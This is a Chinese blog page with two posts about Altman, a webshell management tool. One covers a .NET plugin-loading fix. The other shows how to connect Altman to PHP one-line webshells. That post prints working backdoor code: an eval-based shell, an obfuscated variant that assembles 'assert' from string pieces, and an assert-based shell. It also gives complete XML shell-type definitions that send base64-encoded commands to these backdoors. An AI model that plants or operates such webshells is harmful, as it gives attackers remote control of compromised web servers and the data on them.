Altman不能成功的加载插件

一直有小伙伴给我反馈说:在.Net环境安装好的情况下,Altman不能自动载入插件。 而我在测试的时候,确实发生过相似的现象,但却找不到问题所在。 今天早些时候,在stackoverflow看到之前有人提到过类似的问题,恍然大悟。 原来,当我们从Web下载Altman程序的时候,程序集将会被添加一个新的安全属性(文件来自网络,已被锁定)。运行altman,由于loadFromRemoteSources默认属性是false,程序就无法加载这些插件dll。(在这里有详细的说明) 所以,解决这个问题目前有三种方法: 手动修改Plugins目录下插件的文件属性。 在程序根目录下添加Altman.exe.config,内容如下: <configuration> <runtime> <loadFromRemoteSources enabled="true"/> </runtime> </configuration> 主程序将在下一个版本2.2.1中解决该问题。

July 28, 2014 · 1 分钟 · keepwn

Altman连接phpEval与phpAssert一句话木马

之前测试altman工具的时候,遇到了一个问题,现解决方法如下: Altman连接phpEval一句话木马的时候,phpEval.type的定义如下: <customShellType> <basicSetting> <name>phpEval</name> <serviceExample><![CDATA[<?php @eval($_POST[a])?>]]></serviceExample> <mainCodeParam location="Body" encrymode="None" >passwd</mainCodeParam> </basicSetting> <mainCodeSetting> <funcCodeParam location="Body" encrymode="Base64" >funcCode</funcCodeParam> <item><![CDATA[print("->|"); eval(base64_decode($_POST[$funcCode$])); print("|<-"); die();]]></item> </mainCodeSetting> </customShellType> eval函数执行php语句 print("->|");eval(base64_decode($_POST[$funcCode$]));print("|<-");die();时, 确实是正确的。 然而当使用某些变形php一句话木马,如: <?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["a"]); ?> 时, Altman就无法连接一句话木马了。 原因在于,这个变形木马使用的是assert函数,而eval与assert最主要区别是eval的参数可以是多个语句,而assert的参数是一个表达式。所以assert只会执行到print("->|")代码,后面的代码则直接报错了。 所以在了解到eval与assert的区别后,很容易写出一个新脚本类型,phpAssert.type定义如下: <customShellType> <basicSetting> <name>phpAssert</name> <serviceExample><![CDATA[<?php @assert($_POST[a])?>]]></serviceExample> <mainCodeParam location="Body" encrymode="None" >passwd</mainCodeParam> </basicSetting> <mainCodeSetting> <funcCodeParam location="Body" encrymode="Base64" >funcCode</funcCodeParam> <item><![CDATA[@eval("print('->|');".base64_decode($_POST[$funcCode$])."print('|<-');");]]></item> </mainCodeSetting> </customShellType> PS:其实assert还有一个坑,那就是echo在assert中是不能直接使用的,因为在php中echo并不是一个函数:),不能作为表达式。

July 10, 2014 · 1 分钟 · keepwn
0%